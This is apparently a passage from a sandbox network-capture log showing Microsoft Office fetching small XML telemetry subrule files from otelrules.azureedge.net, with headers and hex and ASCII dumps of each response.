encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:32 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 2d611ff0-901e-002a-3d01-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160732Z-16547b76f7f7rtshhC1DFWrtqn0000000fz0000000004khu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:32 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:32 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:32 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: aa5f00e8-901e-0029-53a0-34274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160732Z-17df447cdb5bz95mhC1DFWnk7w0000000c3g0000000095ft x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:32 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:32 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:32 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:32 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 87bd4a9e-701e-0021-04a0-343d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160732Z-15869dbbcc6lxrkghC1DFWbkxg00000000n0000000002eer x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:32 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:33 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:33 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 3fd26caf-a01e-0032-3d02-2d1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160733Z-16547b76f7f2g4rlhC1DFWnx880000000fu00000000083a5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:33 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:33 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:33 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:33 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 32d5e889-e01e-0099-1f00-2dda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160733Z-16547b76f7fp6mhthC1DFWrggn0000000g2g000000000bbw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:33 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:33 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:33 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 6d0655d2-d01e-005a-66a0-347fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160733Z-17df447cdb5l865xhC1DFW9n7g000000091g00000000bsvf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:33 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:33 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:33 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: ac6bbd40-501e-007b-3e0c-2d5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160733Z-16547b76f7fmbrhqhC1DFWkds80000000ft000000000qs50 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:33 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.6	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:33 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:34 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 28a3e358-d01e-0065-18ab-34b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160734Z-17df447cdb54qlp6hC1DFW67e800000001x000000000k1an x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:34 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:34 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:34 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 270f50c7-901e-0048-6ea3-34b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160734Z-15869dbbcc62nmdhhC1DFW2sxs00000006fg000000006x7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:34 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:34 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 81840efa-e01e-0085-3c5a-32c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160734Z-16547b76f7fxdzxghC1DFWmf7n0000000g20000000002fdr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.6	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:34 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 53ec7209-c01e-0046-37a2-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160734Z-17df447cdb5zfhrmhC1DFWh3300000000c5000000000a86e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.6	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:34 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: e1e7afd1-d01e-00ad-65a8-34e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160734Z-17df447cdb542kkvhC1DFW3d44000000013g000000000pds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
